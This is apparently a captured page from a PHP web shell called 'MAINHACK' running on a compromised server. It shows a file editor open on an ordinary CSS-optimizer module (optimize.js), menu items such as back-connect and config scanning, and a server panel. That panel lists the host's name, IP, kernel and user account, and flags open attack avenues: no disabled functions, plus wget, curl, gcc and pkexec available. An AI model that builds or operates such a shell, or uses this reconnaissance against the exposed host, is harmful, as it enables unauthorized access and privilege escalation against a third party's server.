[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: optimize.js
var mergeAdjacent = require('./merge-adjacent'); var mergeMediaQueries = require('./merge-media-queries'); var mergeNonAdjacentByBody = require('./merge-non-adjacent-by-body'); var mergeNonAdjacentBySelector = require('./merge-non-adjacent-by-selector'); var reduceNonAdjacent = require('./reduce-non-adjacent'); var removeDuplicateFontAtRules = require('./remove-duplicate-font-at-rules'); var removeDuplicateMediaQueries = require('./remove-duplicate-media-queries'); var removeDuplicates = require('./remove-duplicates'); var removeUnusedAtRules = require('./remove-unused-at-rules'); var restructure = require('./restructure'); var optimizeProperties = require('./properties/optimize'); var OptimizationLevel = require('../../options/optimization-level').OptimizationLevel; var Token = require('../../tokenizer/token'); function removeEmpty(tokens) { for (var i = 0, l = tokens.length; i < l; i++) { var token = tokens[i]; var isEmpty = false; switch (token[0]) { case Token.RULE: isEmpty = token[1].length === 0 || token[2].length === 0; break; case Token.NESTED_BLOCK: removeEmpty(token[2]); isEmpty = token[2].length === 0; break; case Token.AT_RULE: isEmpty = token[1].length === 0; break; case Token.AT_RULE_BLOCK: isEmpty = token[2].length === 0; } if (isEmpty) { tokens.splice(i, 1); i--; l--; } } } function recursivelyOptimizeBlocks(tokens, context) { for (var i = 0, l = tokens.length; i < l; i++) { var token = tokens[i]; if (token[0] == Token.NESTED_BLOCK) { var isKeyframes = /@(-moz-|-o-|-webkit-)?keyframes/.test(token[1][0][1]); level2Optimize(token[2], context, !isKeyframes); } } } function recursivelyOptimizeProperties(tokens, context) { for (var i = 0, l = tokens.length; i < l; i++) { var token = tokens[i]; switch (token[0]) { case Token.RULE: optimizeProperties(token[2], true, true, context); break; case Token.NESTED_BLOCK: recursivelyOptimizeProperties(token[2], context); } } } function level2Optimize(tokens, context, withRestructuring) { var levelOptions = context.options.level[OptimizationLevel.Two]; var level2Plugins = context.options.plugins.level2Block; var reduced; var i; recursivelyOptimizeBlocks(tokens, context); recursivelyOptimizeProperties(tokens, context); if (levelOptions.removeDuplicateRules) { removeDuplicates(tokens, context); } if (levelOptions.mergeAdjacentRules) { mergeAdjacent(tokens, context); } if (levelOptions.reduceNonAdjacentRules) { reduceNonAdjacent(tokens, context); } if (levelOptions.mergeNonAdjacentRules && levelOptions.mergeNonAdjacentRules != 'body') { mergeNonAdjacentBySelector(tokens, context); } if (levelOptions.mergeNonAdjacentRules && levelOptions.mergeNonAdjacentRules != 'selector') { mergeNonAdjacentByBody(tokens, context); } if (levelOptions.restructureRules && levelOptions.mergeAdjacentRules && withRestructuring) { restructure(tokens, context); mergeAdjacent(tokens, context); } if (levelOptions.restructureRules && !levelOptions.mergeAdjacentRules && withRestructuring) { restructure(tokens, context); } if (levelOptions.removeDuplicateFontRules) { removeDuplicateFontAtRules(tokens, context); } if (levelOptions.removeDuplicateMediaBlocks) { removeDuplicateMediaQueries(tokens, context); } if (levelOptions.removeUnusedAtRules) { removeUnusedAtRules(tokens, context); } if (levelOptions.mergeMedia) { reduced = mergeMediaQueries(tokens, context); for (i = reduced.length - 1; i >= 0; i--) { level2Optimize(reduced[i][2], context, false); } } for (i = 0; i < level2Plugins.length; i++) { level2Plugins[i](tokens); } if (levelOptions.removeEmpty) { removeEmpty(tokens); } return tokens; } module.exports = level2Optimize;
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.57 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002